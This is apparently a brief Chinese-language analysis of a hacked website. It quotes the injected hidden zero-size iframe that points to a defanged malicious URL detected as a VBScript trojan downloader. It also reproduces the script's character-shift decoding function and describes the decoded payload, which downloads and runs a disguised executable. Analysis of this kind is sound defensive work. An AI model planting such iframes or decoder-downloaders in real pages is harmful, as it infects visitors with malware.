网站页面被植入代码：
/--- ＜iframe src=hxxp://web**.5***9*cn.cn/n*a***p*ole*on/windows**/index.htm width=0 height=0＞＜/iframe＞ ---/ hxxp://web**.5***9*cn.cn/n*a***p*ole*on/windows**/index.htm（Kaspersky报为：Trojan-Downloader.VBS.Psyme.de）的内容为vbscript脚本，功能是利用自定义函数 /--- function UnEncode（temp） but＝67 for i ＝ 1 to len（temp） if mid（temp，i，1）＜＞ "琳" then If Asc（Mid（temp， i， 1）） ＜ 32 Or Asc（Mid（temp， i， 1）） ＞ 126 Then a ＝ a ＆ Chr（Asc（Mid（temp， i， 1））） else pk＝asc（mid（temp，i，1））-but if pk＞126 then pk＝pk-95 elseif pk＜32 then pk＝pk＋95 end if a＝a＆chr（pk） end if else a＝a＆vbcrlf end if next UnEncode＝a end function ---/
解密并输出变量hu的值。
变量hu的值解密输出的是一段vbscript脚本，功能是利用 Microsoft.XMLhttp 和 scrīpting.FileSystemObject 下载文件 lsass.exe，保存为%temp%/winlogin.exe，然后通过 Shell.Application 对象 Q 的 ShellExecute 方法运行。
